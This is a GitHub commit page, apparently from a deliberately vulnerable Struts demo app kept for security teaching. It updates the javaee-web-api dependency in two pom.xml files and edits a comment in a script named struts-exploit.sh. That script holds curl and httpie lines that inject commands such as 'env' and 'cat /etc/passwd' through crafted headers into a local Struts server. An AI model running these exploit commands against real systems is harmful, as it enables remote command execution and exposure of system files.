Skip to content

Commit 3c7e053

Browse files
author
Mila Votradovec
authored
Merge pull request snyk-labs#238 from snyk/chore/javaee-web-api
chore: update javaee-web-api
2 parents 2dda669 + c5a88ad commit 3c7e053

File tree

3 files changed

+3
-3
lines changed

3 files changed

+3
-3
lines changed

exploits/struts-exploit.sh

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
11
# Struts exploit using curl and httpie (more colourful HTTP client)
2-
(runs 'env' or 'cat /etc/passwd', can replace env with any other command (note to escape slashes and double quotes)
2+
# (runs 'env' or 'cat /etc/passwd', can replace env with any other command (note to escape slashes and double quotes)
33
cat struts-exploit-headers.txt| sed "s/COMMAND/env/" | xargs curl -v -X GET http://localhost:8080 -H
44
cat struts-exploit-headers.txt| sed "s/COMMAND/cat \/etc\/passwd/" | xargs http -v http://localhost:8080

todolist-web-common/pom.xml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@
2929
<dependency>
3030
<groupId>javax</groupId>
3131
<artifactId>javaee-web-api</artifactId>
32-
<version>6.0</version>
32+
<version>7.0</version>
3333
</dependency>
3434

3535
<!--jstl-->

todolist-web-struts/pom.xml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@
2828
<dependency>
2929
<groupId>javax</groupId>
3030
<artifactId>javaee-web-api</artifactId>
31-
<version>6.0</version>
31+
<version>7.0</version>
3232
<scope>provided</scope>
3333
</dependency>
3434

0 commit comments

Comments
 (0)